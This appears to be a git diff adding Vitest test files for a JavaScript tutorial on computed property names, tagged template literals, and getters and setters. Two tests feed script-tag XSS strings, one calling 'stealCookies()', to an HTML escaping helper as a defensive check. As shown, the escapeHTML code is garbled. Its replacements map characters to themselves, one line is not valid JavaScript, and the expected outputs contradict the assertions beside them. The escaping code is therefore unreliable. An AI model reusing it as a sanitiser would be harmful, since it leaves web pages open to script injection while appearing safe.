done: true } + } + } + } + } + + expect([...range]).toEqual([1, 2, 3, 4, 5]) + + const collected = [] + for (const num of range) { + collected.push(num) + } + expect(collected).toEqual([1, 2, 3, 4, 5]) + }) + + // Source: computed-property-names.mdx lines 291-301 (Symbol.toStringTag) + it('should customize type string with Symbol.toStringTag', () => { + const myCollection = { + items: [], + [Symbol.toStringTag]: 'MyCollection' + } + + expect(Object.prototype.toString.call(myCollection)).toBe('[object MyCollection]') + expect(Object.prototype.toString.call({})).toBe('[object Object]') + }) + + // Source: computed-property-names.mdx lines 305-322 (Symbol.toPrimitive) + it('should enable custom type coercion with Symbol.toPrimitive', () => { + const temperature = { + celsius: 20, + + [Symbol.toPrimitive](hint) { + switch (hint) { + case 'number': + return this.celsius + case 'string': + return `${this.celsius}°C` + default: + return this.celsius + } + } + } + + expect(+temperature).toBe(20) // number hint + expect(`${temperature}`).toBe('20°C') // string hint + expect(temperature + 10).toBe(30) // default hint + }) + + // Source: computed-property-names.mdx lines 326-347 (Privacy patterns) + it('should provide encapsulation with module-scoped Symbols', () => { + const _balance = Symbol('balance') + + class BankAccount { + constructor(initial) { + this[_balance] = initial + } + + deposit(amount) { + this[_balance] += amount + } + + getBalance() { + return this[_balance] + } + } + + const account = new BankAccount(100) + expect(Object.keys(account)).toEqual([]) + expect(JSON.stringify(account)).toBe('{}') + expect(account.getBalance()).toBe(100) + + account.deposit(50) + expect(account.getBalance()).toBe(150) + + // Still accessible if you know about Symbols: + const symbols = Object.getOwnPropertySymbols(account) + expect(symbols.length).toBe(1) + expect(account[symbols[0]]).toBe(150) + }) + }) + + describe('Computed Method Names', () => { + // Source: computed-property-names.mdx lines 355-368 (Basic computed methods) + it('should support computed method names', () => { + const action = 'greet' + + const obj = { + [action]() { + return 'Hello!' + }, + [`${action}Loudly`]() { + return 'HELLO!' + } + } + + expect(obj.greet()).toBe('Hello!') + expect(obj.greetLoudly()).toBe('HELLO!') + }) + + // Source: computed-property-names.mdx lines 372-386 (Computed generator methods) + it('should support computed generator methods', () => { + const iteratorName = 'values' + + const collection = { + items: [1, 2, 3], + + *[iteratorName]() { + for (const item of this.items) { + yield item * 2 + } + } + } + + expect([...collection.values()]).toEqual([2, 4, 6]) + }) + + it('should support computed async methods', () => { + const fetchName = 'fetchData' + + const api = { + async [fetchName]() { + return Promise.resolve('data') + } + } + + expect(typeof api.fetchData).toBe('function') + expect(api.fetchData()).toBeInstanceOf(Promise) + }) + }) + + describe('Computed Getters and Setters', () => { + // Source: computed-property-names.mdx lines 401-422 (Getters and setters) + it('should support computed getters and setters', () => { + const prop = 'fullName' + + const person = { + firstName: 'Alice', + lastName: 'Smith', + + get [prop]() { + return `${this.firstName} ${this.lastName}` + }, + + set [prop](value) { + const parts = value.split(' ') + this.firstName = parts[0] + this.lastName = parts[1] + } + } + + expect(person.fullName).toBe('Alice Smith') + + person.fullName = 'Bob Jones' + expect(person.firstName).toBe('Bob') + expect(person.lastName).toBe('Jones') + }) + + it('should support Symbol-keyed accessors', () => { + const _value = Symbol('value') + + const validated = { + [_value]: 0, + + get [Symbol.for('value')]() { + return this[_value] + }, + + set [Symbol.for('value')](v) { + if (typeof v !== 'number') { + throw new TypeError('Value must be a number') + } + this[_value] = v + } + } + + validated[Symbol.for('value')] = 42 + expect(validated[Symbol.for('value')]).toBe(42) + + expect(() => { + validated[Symbol.for('value')] = 'not a number' + }).toThrow(TypeError) + }) + }) + + describe('Real-World Use Cases', () => { + // Source: computed-property-names.mdx lines 451-465 (Form field handling) + it('should handle form field state updates', () => { + function handleInputChange(fieldName, value) { + return { + [fieldName]: value, + [`${fieldName}Touched`]: true, + [`${fieldName}Error`]: null + } + } + + const updates = handleInputChange('email', 'alice@example.com') + expect(updates).toEqual({ + email: 'alice@example.com', + emailTouched: true, + emailError: null + }) + }) + + // Source: computed-property-names.mdx lines 469-483 (Redux-style state) + it('should handle Redux-style state updates', () => { + function updateField(state, field, value) { + return { + ...state, + [field]: value, + lastModified: 'now' + } + } + + const state = { name: 'Alice', email: '' } + const newState = updateField(state, 'email', 'alice@example.com') + + expect(newState.name).toBe('Alice') + expect(newState.email).toBe('alice@example.com') + expect(newState.lastModified).toBe('now') + }) + + // Source: computed-property-names.mdx lines 487-500 (i18n) + it('should create internationalization translation objects', () => { + function createTranslations(locale, translations) { + return { + [`messages_${locale}`]: translations, + [`${locale}_loaded`]: true + } + } + + const spanish = createTranslations('es', { hello: 'hola' }) + expect(spanish.messages_es).toEqual({ hello: 'hola' }) + expect(spanish.es_loaded).toBe(true) + }) + + // Source: computed-property-names.mdx lines 504-521 (API response mapping) + it('should normalize API responses with dynamic keys', () => { + function normalizeResponse(entityType, items) { + return items.reduce((acc, item) => ({ + ...acc, + [`${entityType}_${item.id}`]: item + }), {}) + } + + const users = [ + { id: 1, name: 'Alice' }, + { id: 2, name: 'Bob' } + ] + + const normalized = normalizeResponse('user', users) + expect(normalized).toEqual({ + user_1: { id: 1, name: 'Alice' }, + user_2: { id: 2, name: 'Bob' } + }) + }) + }) + + describe('Edge Cases and Gotchas', () => { + // Source: computed-property-names.mdx lines 527-537 (Duplicate keys) + it('should let last duplicate key win', () => { + const key = 'same' + + const obj = { + [key]: 'first', + ['sa' + 'me']: 'second', + same: 'third' // Static key, same string + } + + expect(obj).toEqual({ same: 'third' }) + }) + + // Source: computed-property-names.mdx lines 541-552 (Keys that throw) + it('should abort object creation if key expression throws', () => { + function badKey() { + throw new Error('Key evaluation failed') + } + + expect(() => { + const obj = { + valid: 'ok', + [badKey()]: 'never reached' + } + }).toThrow('Key evaluation failed') + }) + + // Source: computed-property-names.mdx lines 556-565 (Object toString collisions) + it('should cause collisions when objects toString to same value', () => { + const objA = { toString: () => 'key' } + const objB = { toString: () => 'key' } + + const data = { + [objA]: 'first', + [objB]: 'second' // Overwrites! Both → 'key' + } + + expect(data).toEqual({ key: 'second' }) + }) + + // Source: computed-property-names.mdx lines 569-582 (__proto__ special case) + it('should treat __proto__ differently in computed vs non-computed form', () => { + // Non-computed: Sets the prototype! + const obj1 = { __proto__: Array.prototype } + expect(obj1 instanceof Array).toBe(true) + expect(Object.hasOwn(obj1, '__proto__')).toBe(false) + + // Computed: Creates a normal property + const obj2 = { ['__proto__']: Array.prototype } + expect(obj2 instanceof Array).toBe(false) + expect(Object.hasOwn(obj2, '__proto__')).toBe(true) + + // Shorthand: Also creates a normal property + const __proto__ = 'just a string' + const obj3 = { __proto__ } + expect(obj3.__proto__).toBe('just a string') + expect(Object.hasOwn(obj3, '__proto__')).toBe(true) + }) + + it('should handle empty string as key', () => { + const obj = { + ['']: 'empty key' + } + + expect(obj['']).toBe('empty key') + expect(Object.keys(obj)).toEqual(['']) + }) + + it('should handle whitespace-only keys', () => { + const obj = { + [' ']: 'space', + ['\t']: 'tab', + ['\n']: 'newline' + } + + expect(obj[' ']).toBe('space') + expect(obj['\t']).toBe('tab') + expect(obj['\n']).toBe('newline') + }) + + it('should allow reserved words as computed keys', () => { + const reserved = 'class' + + const obj = { + [reserved]: 'value', + ['for']: 'another', + ['return']: 'yet another' + } + + expect(obj.class).toBe('value') + expect(obj.for).toBe('another') + expect(obj.return).toBe('yet another') + }) + }) + + describe('Comparison with Regular Assignment', () => { + it('should be equivalent to bracket notation assignment', () => { + const key = 'dynamic' + const value = 'test' + + // These are semantically equivalent + const obj1 = { [key]: value } + + const obj2 = {} + obj2[key] = value + + expect(obj1).toEqual(obj2) + expect(obj1).toEqual({ dynamic: 'test' }) + }) + + it('should allow mixing computed and static properties', () => { + const dynamicKey = 'computed' + + const obj = { + staticKey: 'static value', + [dynamicKey]: 'computed value', + anotherStatic: 'another value', + [`${dynamicKey}_suffix`]: 'suffixed value' + } + + expect(obj).toEqual({ + staticKey: 'static value', + computed: 'computed value', + anotherStatic: 'another value', + computed_suffix: 'suffixed value' + }) + }) + }) + + describe('Integration with Object Methods', () => { + it('should work with Object.fromEntries pattern', () => { + const entries = [ + ['a', 1], + ['b', 2], + ['c', 3] + ] + + // Object.fromEntries is essentially computed properties under the hood + const obj = Object.fromEntries(entries) + expect(obj).toEqual({ a: 1, b: 2, c: 3 }) + + // Equivalent with reduce and computed properties + const obj2 = entries.reduce( + (acc, [key, value]) => ({ ...acc, [key]: value }), + {} + ) + expect(obj2).toEqual({ a: 1, b: 2, c: 3 }) + }) + + it('should work with Object.entries for round-trip', () => { + const original = { a: 1, b: 2, c: 3 } + const entries = Object.entries(original) + + // Transform and recreate + const doubled = entries.reduce( + (acc, [key, value]) => ({ ...acc, [`${key}_doubled`]: value * 2 }), + {} + ) + + expect(doubled).toEqual({ + a_doubled: 2, + b_doubled: 4, + c_doubled: 6 + }) + }) + }) +}) diff --git a/tests/beyond/modern-syntax-operators/tagged-template-literals/tagged-template-literals.test.js b/tests/beyond/modern-syntax-operators/tagged-template-literals/tagged-template-literals.test.js new file mode 100644 index 00000000..9cf61dc2 --- /dev/null +++ b/tests/beyond/modern-syntax-operators/tagged-template-literals/tagged-template-literals.test.js @@ -0,0 +1,667 @@ +import { describe, it, expect } from 'vitest' + +describe('Tagged Template Literals', () => { + // ============================================================ + // OPENING EXAMPLE + // From tagged-template-literals.mdx lines 9-20 + // ============================================================ + + describe('Opening Example', () => { + // From lines 9-20: highlight tag function + it('should wrap interpolated values in <mark> tags', () => { + function highlight(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '' + return result + str + value + }, '') + } + + const name = 'Alice' + const age = 30 + + const result = highlight`User ${name} is ${age} years old` + expect(result).toBe('User <mark>Alice</mark> is <mark>30</mark> years old') + }) + }) + + // ============================================================ + // WHAT ARE TAGGED TEMPLATE LITERALS + // From tagged-template-literals.mdx lines 41-51 + // ============================================================ + + describe('What are Tagged Template Literals', () => { + // From lines 45-51: Basic tag function call + it('should call tag function with template literal', () => { + let called = false + function myTag(strings, ...values) { + called = true + return 'processed' + } + + const result = myTag`Hello ${'World'}` + expect(called).toBe(true) + expect(result).toBe('processed') + }) + }) + + // ============================================================ + // HOW TAG FUNCTIONS WORK + // From tagged-template-literals.mdx lines 80-140 + // ============================================================ + + describe('How Tag Functions Work', () => { + describe('The Basic Signature', () => { + // From lines 95-107: inspect function + it('should receive strings and values as separate arguments', () => { + let capturedStrings = null + let capturedValues = null + + function inspect(strings, ...values) { + capturedStrings = strings + capturedValues = values + } + + const fruit = 'apple' + const count = 5 + + inspect`I have ${count} ${fruit}s` + + expect(capturedStrings).toEqual(['I have ', ' ', 's']) + expect(capturedValues).toEqual([5, 'apple']) + expect(capturedStrings.length).toBe(3) + expect(capturedValues.length).toBe(2) + }) + }) + + describe('The Golden Rule', () => { + // From lines 113-125: strings.length === values.length + 1 + it('should always have one more string than values', () => { + function countParts(strings, ...values) { + return `${strings.length} strings, ${values.length} values` + } + + expect(countParts`${1}`).toBe('2 strings, 1 values') + expect(countParts`x${1}`).toBe('2 strings, 1 values') + expect(countParts`${1}y`).toBe('2 strings, 1 values') + expect(countParts`x${1}y`).toBe('2 strings, 1 values') + expect(countParts`x${1}y${2}z`).toBe('3 strings, 2 values') + }) + + // From lines 127-135: interleave function + it('should correctly interleave strings and values', () => { + function interleave(strings, ...values) { + let result = '' + for (let i = 0; i < values.length; i++) { + result += strings[i] + values[i] + } + result += strings[strings.length - 1] + return result + } + + const name = 'World' + expect(interleave`Hello, ${name}!`).toBe('Hello, World!') + }) + }) + + describe('A Cleaner Pattern with reduce', () => { + // From lines 139-145: reduce pattern + it('should interleave using reduce', () => { + function simple(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? values[i] : '' + return result + str + value + }, '') + } + + expect(simple`Hello, ${'World'}!`).toBe('Hello, World!') + expect(simple`No interpolations`).toBe('No interpolations') + expect(simple`${1}${2}${3}`).toBe('123') + }) + }) + }) + + // ============================================================ + // THE RAW STRINGS PROPERTY + // From tagged-template-literals.mdx lines 151-195 + // ============================================================ + + describe('The Raw Strings Property', () => { + describe('Cooked vs Raw', () => { + // From lines 159-170: showBoth function + it('should provide both cooked and raw strings', () => { + let cookedValue = null + let rawValue = null + + function showBoth(strings) { + cookedValue = strings[0] + rawValue = strings.raw[0] + } + + showBoth`Line1\nLine2` + + // Cooked: escape sequence is processed + expect(cookedValue).toBe('Line1\nLine2') + expect(cookedValue.includes('\n')).toBe(true) // actual newline + + // Raw: escape sequence is preserved + expect(rawValue).toBe('Line1\\nLine2') + expect(rawValue.includes('\\n')).toBe(true) // literal backslash-n + }) + }) + }) + + // ============================================================ + // STRING.RAW: THE BUILT-IN TAG + // From tagged-template-literals.mdx lines 201-250 + // ============================================================ + + describe('String.raw', () => { + describe('Basic Usage', () => { + // From lines 207-215: String.raw basic example + it('should preserve escape sequences as literal characters', () => { + // Normal template literal - escape sequences processed + const normal = `Line1\nLine2` + expect(normal).toBe('Line1\nLine2') + expect(normal.length).toBe(11) // 5 + 1 + 5 + + // String.raw - escape sequences stay as literals + const raw = String.raw`Line1\nLine2` + expect(raw).toBe('Line1\\nLine2') + expect(raw.length).toBe(12) // 5 + 2 + 5 + }) + }) + + describe('Perfect for File Paths', () => { + // From lines 219-226: Windows file paths + it('should handle Windows file paths cleanly', () => { + const path1 = 'C:\\Users\\Alice\\Documents\\file.txt' + const path2 = String.raw`C:\Users\Alice\Documents\file.txt` + + expect(path1).toBe(path2) + }) + }) + + describe('Perfect for Regular Expressions', () => { + // From lines 230-239: Regex patterns + it('should simplify regex patterns', () => { + const pattern1 = new RegExp('\\d+\\.\\d+') + const pattern2 = new RegExp(String.raw`\d+\.\d+`) + + expect(pattern1.test('3.14')).toBe(true) + expect(pattern2.test('3.14')).toBe(true) + expect(pattern1.source).toBe(pattern2.source) + }) + }) + + describe('How String.raw Works Under the Hood', () => { + // From lines 243-249: String.raw as function + it('should work as both tag and regular function', () => { + const tagged = String.raw`Hi\n${2 + 3}!` + const functional = String.raw({ raw: ['Hi\\n', '!'] }, 5) + + expect(tagged).toBe('Hi\\n5!') + expect(functional).toBe('Hi\\n5!') + }) + }) + }) + + // ============================================================ + // BUILDING CUSTOM TAG FUNCTIONS + // From tagged-template-literals.mdx lines 256-340 + // ============================================================ + + describe('Building Custom Tag Functions', () => { + describe('Example 1: HTML Escaping', () => { + // From lines 262-282: html tag function + it('should escape HTML entities in interpolated values', () => { + function escapeHTML(str) { + return str + .replace(/&/g, '&') + .replace(/</g, '<') + .replace(/>/g, '>') + .replace(/"/g, '"') + .replace(/'/g, ''') + } + + function html(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? escapeHTML(String(values[i])) : '' + return result + str + value + }, '') + } + + const userInput = '<script>alert("XSS")</script>' + const safe = html`<div>User said: ${userInput}</div>` + + expect(safe).toBe('<div>User said: <script>alert("XSS")</script></div>') + expect(safe.includes('<script>')).toBe(false) + }) + }) + + describe('Example 2: Highlighting Values', () => { + // From lines 288-302: highlight tag + it('should wrap all interpolated values in mark tags', () => { + function highlight(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '' + return result + str + value + }, '') + } + + const product = 'Widget' + const price = 29.99 + + const message = highlight`The ${product} costs $${price}` + expect(message).toBe('The <mark>Widget</mark> costs $<mark>29.99</mark>') + }) + }) + + describe('Example 3: Currency Formatting', () => { + // From lines 306-325: currency tag + it('should format numbers as currency', () => { + function currency(strings, ...values) { + const formatter = new Intl.NumberFormat('en-US', { + style: 'currency', + currency: 'USD' + }) + + return strings.reduce((result, str, i) => { + let value = values[i] + if (typeof value === 'number') { + value = formatter.format(value) + } + return result + str + (value ?? '') + }, '') + } + + const item = 'Coffee' + const price = 4.5 + const tax = 0.36 + + const result = currency`${item}: ${price} + ${tax} tax` + expect(result).toBe('Coffee: $4.50 + $0.36 tax') + }) + }) + + describe('Example 4: Debug Logging', () => { + // From lines 329-345: debug tag + it('should show types and JSON values', () => { + function debug(strings, ...values) { + let output = '' + strings.forEach((str, i) => { + output += str + if (i < values.length) { + const type = typeof values[i] + const val = JSON.stringify(values[i]) + output += `[${type}: ${val}]` + } + }) + return output + } + + const user = { name: 'Alice', age: 30 } + const items = ['apple', 'banana'] + + const result = debug`User: ${user}, Items: ${items}` + expect(result).toBe('User: [object: {"name":"Alice","age":30}], Items: [object: ["apple","banana"]]') + }) + }) + }) + + // ============================================================ + // ADVANCED PATTERNS + // From tagged-template-literals.mdx lines 350-420 + // ============================================================ + + describe('Advanced Patterns', () => { + describe('Returning Non-Strings', () => { + // From lines 356-372: toArray and toObject + it('should return an array of values', () => { + function toArray(strings, ...values) { + return values + } + + const result = toArray`${1} and ${2} and ${3}` + expect(result).toEqual([1, 2, 3]) + }) + + it('should return an object from template', () => { + function toObject(strings, ...values) { + // More robust key extraction - handles the actual string splitting + const keys = strings.slice(0, -1).map(s => { + // Extract the key name from strings like "name: " or ", age: " + const match = s.match(/(\w+)\s*:\s*$/) + return match ? match[1] : '' + }) + const obj = {} + keys.forEach((key, i) => { + if (key) obj[key] = values[i] + }) + return obj + } + + const name = 'Alice' + const age = 30 + const result = toObject`name: ${name}, age: ${age},` + expect(result).toEqual({ name: 'Alice', age: 30 }) + }) + }) + + describe('Reusable Template Factories', () => { + // From lines 376-395: template factory + it('should create reusable templates', () => { + function template(strings, ...keys) { + return function (data) { + return strings.reduce((result, str, i) => { + const key = keys[i] + const value = key !== undefined ? data[key] : '' + return result + str + value + }, '') + } + } + + const greeting = template`Hello, ${'name'}! You have ${'count'} messages.` + + expect(greeting({ name: 'Alice', count: 5 })).toBe('Hello, Alice! You have 5 messages.') + expect(greeting({ name: 'Bob', count: 0 })).toBe('Hello, Bob! You have 0 messages.') + }) + }) + + describe('Building an Identity Tag', () => { + // From lines 399-415: identity tag + it('should process escapes like an untagged template', () => { + function identity(strings, ...values) { + return String.raw({ raw: strings }, ...values) + } + + const result = identity`Line1\nLine2` + expect(result).toBe('Line1\nLine2') + expect(result.includes('\n')).toBe(true) // actual newline + }) + }) + }) + + // ============================================================ + // REAL-WORLD USE CASES + // From tagged-template-literals.mdx lines 425-500 + // ============================================================ + + describe('Real-World Use Cases', () => { + describe('SQL Query Builders', () => { + // From lines 430-455: sql tag + it('should create parameterized query object', () => { + function sql(strings, ...values) { + const query = strings.reduce((result, str, i) => { + return result + str + (i < values.length ? `$${i + 1}` : '') + }, '') + + return { + text: query, + values: values + } + } + + const userId = 123 + const status = 'active' + + const query = sql` + SELECT * FROM users + WHERE id = ${userId} + AND status = ${status} +` + + expect(query.text).toContain('$1') + expect(query.text).toContain('$2') + expect(query.values).toEqual([123, 'active']) + }) + }) + + describe('CSS-in-JS Patterns', () => { + // From lines 475-490: css tag + it('should interpolate values into CSS', () => { + function css(strings, ...values) { + return strings.reduce((result, str, i) => { + return result + str + (values[i] ?? '') + }, '') + } + + const primaryColor = '#007bff' + const styles = css` + .button { + background-color: ${primaryColor}; + padding: 10px 20px; + } +` + + expect(styles).toContain('#007bff') + expect(styles).toContain('.button') + }) + }) + }) + + // ============================================================ + // COMMON MISTAKES + // From tagged-template-literals.mdx lines 505-555 + // ============================================================ + + describe('Common Mistakes', () => { + describe('Forgetting the Last String', () => { + // From lines 510-535: broken vs fixed + it('should demonstrate the broken version', () => { + function broken(strings, ...values) { + return strings.reduce((result, str, i) => { + return result + str + values[i] // values[last] is undefined! + }, '') + } + + const name = 'Alice' + const result = broken`Hello ${name}!` + // The bug: strings[2] is "!" but values[1] is undefined + expect(result).toBe('Hello Alice!undefined') // Bug! + }) + + it('should demonstrate the fixed version', () => { + function fixed(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? values[i] : '' + return result + str + value + }, '') + } + + const name = 'Alice' + const result = fixed`Hello ${name}!` + expect(result).toBe('Hello Alice!') // Correct + }) + }) + }) + + // ============================================================ + // TEST YOUR KNOWLEDGE + // From tagged-template-literals.mdx Test Your Knowledge section + // ============================================================ + + describe('Test Your Knowledge Examples', () => { + // Question 1: Tag function arguments + it('Q1: should receive correct strings and values', () => { + let receivedStrings = null + let receivedValues = null + + function tag(strings, ...values) { + receivedStrings = [...strings] + receivedValues = values + } + + const name = 'Alice' + const age = 30 + tag`Hello ${name}, you are ${age} years old` + + expect(receivedStrings).toEqual(['Hello ', ', you are ', ' years old']) + expect(receivedValues).toEqual(['Alice', 30]) + }) + + // Question 2: strings.length vs values.length + it('Q2: should always have one more string than values', () => { + function count(strings, ...values) { + return `${strings.length} strings, ${values.length} values` + } + + expect(count`${1}`).toBe('2 strings, 1 values') + expect(count`x${1}y${2}z`).toBe('3 strings, 2 values') + expect(count`no values`).toBe('1 strings, 0 values') + }) + + // Question 3: strings vs strings.raw + it('Q3: should show difference between cooked and raw', () => { + let cooked = null + let raw = null + + function compare(strings) { + cooked = strings[0] + raw = strings.raw[0] + } + + compare`Line1\nLine2` + + expect(cooked).toBe('Line1\nLine2') // processed newline + expect(raw).toBe('Line1\\nLine2') // literal \n + }) + + // Question 4: String.raw use cases + it('Q4: should preserve backslashes with String.raw', () => { + const path = String.raw`C:\Users\Alice\Documents` + expect(path).toBe('C:\\Users\\Alice\\Documents') + expect(path.includes('\\')).toBe(true) + }) + + // Question 5: Returning non-strings + it('Q5: should allow returning any type', () => { + function values(strings, ...vals) { + return vals + } + expect(values`${1}, ${2}, ${3}`).toEqual([1, 2, 3]) + + function sql(strings, ...vals) { + return { query: strings.join('?'), params: vals } + } + const result = sql`SELECT * WHERE id = ${1} AND name = ${'test'}` + expect(result.params).toEqual([1, 'test']) + }) + + // Question 6: HTML escaping importance + it('Q6: should escape HTML to prevent XSS', () => { + function escapeHTML(str) { + return str + .replace(/&/g, '&') + .replace(/</g, '<') + .replace(/>/g, '>') + .replace(/"/g, '"') + .replace(/'/g, ''') + } + + function safeHtml(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined + ? escapeHTML(String(values[i])) + : '' + return result + str + value + }, '') + } + + const userInput = '<script>stealCookies()</script>' + const safe = safeHtml`<div>${userInput}</div>` + + expect(safe).toBe('<div><script>stealCookies()</script></div>') + expect(safe.includes('<script>')).toBe(false) + }) + }) + + // ============================================================ + // EDGE CASES + // ============================================================ + + describe('Edge Cases', () => { + it('should handle empty template literal', () => { + function tag(strings, ...values) { + return { strings: [...strings], values } + } + + const result = tag`` + expect(result.strings).toEqual(['']) + expect(result.values).toEqual([]) + }) + + it('should handle template with only interpolation', () => { + function tag(strings, ...values) { + return { strings: [...strings], values } + } + + const result = tag`${42}` + expect(result.strings).toEqual(['', '']) + expect(result.values).toEqual([42]) + }) + + it('should handle nested tagged templates', () => { + function outer(strings, ...values) { + // Interleave strings and values properly + return '[' + strings.reduce((acc, str, i) => { + return acc + str + (values[i] !== undefined ? values[i] : '') + }, '') + ']' + } + + function inner(strings, ...values) { + return '(' + strings.reduce((acc, str, i) => { + return acc + str + (values[i] !== undefined ? values[i] : '') + }, '') + ')' + } + + const result = outer`start ${inner`nested ${1}`} end` + expect(result).toBe('[start (nested 1) end]') + }) + + it('should handle undefined and null values', () => { + function tag(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? String(values[i]) : '' + return result + str + value + }, '') + } + + expect(tag`Value: ${undefined}`).toBe('Value: ') + expect(tag`Value: ${null}`).toBe('Value: null') + }) + + it('should handle function values', () => { + function tag(strings, ...values) { + return strings.reduce((result, str, i) => { + let value = values[i] + if (typeof value === 'function') { + value = value() + } + return result + str + (value ?? '') + }, '') + } + + const result = tag`Result: ${() => 42}` + expect(result).toBe('Result: 42') + }) + + it('should preserve the strings array between calls', () => { + const callHistory = [] + + function tag(strings, ...values) { + callHistory.push(strings) + return {} + } + + function evaluateLiteral() { + return tag`Hello, ${'world'}!` + } + + evaluateLiteral() + evaluateLiteral() + + // Same strings array is passed each time + expect(callHistory[0]).toBe(callHistory[1]) + }) + }) +}) diff --git a/tests/beyond/objects-properties/getters-setters/getters-setters.test.js b/tests/beyond/objects-properties/getters-setters/getters-setters.test.js new file mode 100644 index 00000000..fa93f49f --- /dev/null +++ b/tests/beyond/objects-properties/getters-setters/getters-setters.test.js @@ -0,0 +1,717 @@ +import { describe, it, expect } from 'vitest' + +describe('Getters and Setters', () => { + + describe('Basic Getter Syntax in Object Literals', () => { + it('should return computed value from getter', () => { + const user = { + firstName: "Alice", + lastName: "Smith", + get fullName() { + return `${this.firstName} ${this.lastName}` + } + } + + expect(user.fullName).toBe("Alice Smith") + }) + + it('should recalculate getter on each access', () => { + const user = { + firstName: "Alice", + lastName: "Smith", + get fullName() { + return `${this.firstName} ${this.lastName}` + } + } + + expect(user.fullName).toBe("Alice Smith") + + user.firstName = "Bob" + expect(user.fullName).toBe("Bob Smith") + }) + + it('should access getter without parentheses', () => { + const obj = { + get value() { return 42 } + } + + expect(obj.value).toBe(42) + expect(typeof obj.value).toBe("number") + }) + + it('should support computed property names for getters', () => { + const propName = "status" + const obj = { + _status: "active", + get [propName]() { + return this._status.toUpperCase() + } + } + + expect(obj.status).toBe("ACTIVE") + }) + + it('should allow multiple getters on same object', () => { + const rectangle = { + width: 10, + height: 5, + get area() { return this.width * this.height }, + get perimeter() { return 2 * (this.width + this.height) } + } + + expect(rectangle.area).toBe(50) + expect(rectangle.perimeter).toBe(30) + }) + }) + + describe('Basic Setter Syntax in Object Literals', () => { + it('should call setter on assignment', () => { + const obj = { + _value: 0, + set value(v) { + this._value = v * 2 + } + } + + obj.value = 5 + expect(obj._value).toBe(10) + }) + + it('should support validation in setter', () => { + const account = { + _balance: 0, + set balance(value) { + if (value < 0) { + throw new Error("Balance cannot be negative") + } + this._balance = value + } + } + + account.balance = 100 + expect(account._balance).toBe(100) + + expect(() => { + account.balance = -50 + }).toThrow("Balance cannot be negative") + }) + + it('should update backing property', () => { + const user = { + _name: "", + set name(value) { + this._name = value.trim().toUpperCase() + } + } + + user.name = " alice " + expect(user._name).toBe("ALICE") + }) + + it('should support side effects in setter', () => { + const log = [] + const obj = { + set action(value) { + log.push(`Action: ${value}`) + } + } + + obj.action = "login" + obj.action = "logout" + + expect(log).toEqual(["Action: login", "Action: logout"]) + }) + + it('should support computed property names for setters', () => { + const propName = "data" + const obj = { + _data: null, + set [propName](value) { + this._data = JSON.stringify(value) + } + } + + obj.data = { a: 1 } + expect(obj._data).toBe('{"a":1}') + }) + }) + + describe('Getters in Classes', () => { + it('should define getter in class', () => { + class Circle { + constructor(radius) { + this.radius = radius + } + get area() { + return Math.PI * this.radius ** 2 + } + } + + const circle = new Circle(5) + expect(circle.area).toBeCloseTo(78.54, 1) + }) + + it('should compute getter from instance properties', () => { + class Temperature { + constructor(celsius) { + this._celsius = celsius + } + get fahrenheit() { + return this._celsius * 9/5 + 32 + } + } + + const temp = new Temperature(100) + expect(temp.fahrenheit).toBe(212) + }) + + it('should support static getters', () => { + class Config { + static _version = "1.0.0" + static get version() { + return `v${this._version}` + } + } + + expect(Config.version).toBe("v1.0.0") + }) + + it('should inherit getters from parent class', () => { + class Animal { + constructor(name) { + this._name = name + } + get name() { + return this._name + } + } + + class Dog extends Animal { + constructor(name, breed) { + super(name) + this.breed = breed + } + } + + const dog = new Dog("Rex", "German Shepherd") + expect(dog.name).toBe("Rex") + }) + }) + + describe('Setters in Classes', () => { + it('should define setter with validation in class', () => { + class User { + constructor() { + this._age = 0 + } + set age(value) { + if (value < 0 || value > 150) { + throw new Error("Invalid age") + } + this._age = value + } + get age() { + return this._age + } + } + + const user = new User() + user.age = 25 + expect(user.age).toBe(25) + + expect(() => { + user.age = -5 + }).toThrow("Invalid age") + }) + + it('should support static setters', () => { + class Config { + static _debug = false + static set debug(value) { + this._debug = Boolean(value) + } + static get debug() { + return this._debug + } + } + + Config.debug = 1 + expect(Config.debug).toBe(true) + + Config.debug = 0 + expect(Config.debug).toBe(false) + }) + + it('should override setter in subclass', () => { + class Animal { + constructor() { + this._name = "" + } + set name(value) { + this._name = value + } + get name() { + return this._name + } + } + + class Dog extends Animal { + set name(value) { + super.name = `🐕 ${value}` + } + // Must also provide getter when overriding setter + get name() { + return super.name + } + } + + const dog = new Dog() + dog.name = "Rex" + expect(dog.name).toBe("🐕 Rex") + }) + }) + + describe('Object.defineProperty() Accessor Descriptors', () => { + it('should define getter with defineProperty', () => { + const obj = { _value: 42 } + + Object.defineProperty(obj, "value", { + get() { return this._value * 2 }, + enumerable: true + }) + + expect(obj.value).toBe(84) + }) + + it('should define setter with defineProperty', () => { + const obj = { _value: 0 } + + Object.defineProperty(obj, "value", { + set(v) { this._value = v }, + enumerable: true + }) + + obj.value = 100 + expect(obj._value).toBe(100) + }) + + it('should define both getter and setter with defineProperty', () => { + const user = { _name: "" } + + Object.defineProperty(user, "name", { + get() { return this._name }, + set(value) { this._name = value.trim() }, + enumerable: true, + configurable: true + }) + + user.name = " Alice " + expect(user.name).toBe("Alice") + }) + + it('should throw when mixing value and get', () => { + expect(() => { + Object.defineProperty({}, "prop", { + value: 42, + get() { return 42 } + }) + }).toThrow(TypeError) + }) + + it('should throw when mixing writable and set', () => { + expect(() => { + Object.defineProperty({}, "prop", { + writable: true, + set(v) { } + }) + }).toThrow(TypeError) + }) + + it('should return correct descriptor for accessor property', () => { + const obj = { + get prop() { return "value" }, + set prop(v) { } + } + + const descriptor = Object.getOwnPropertyDescriptor(obj, "prop") + + expect(typeof descriptor.get).toBe("function") + expect(typeof descriptor.set).toBe("function") + expect(descriptor.value).toBeUndefined() + expect(descriptor.writable).toBeUndefined() + expect(descriptor.enumerable).toBe(true) + expect(descriptor.configurable).toBe(true) + }) + }) + + describe('Getter-Only Properties (Read-Only)', () => { + it('should create read-only property with getter only', () => { + const obj = { + get readOnly() { return "constant" } + } + + expect(obj.readOnly).toBe("constant") + }) + + it('should throw in 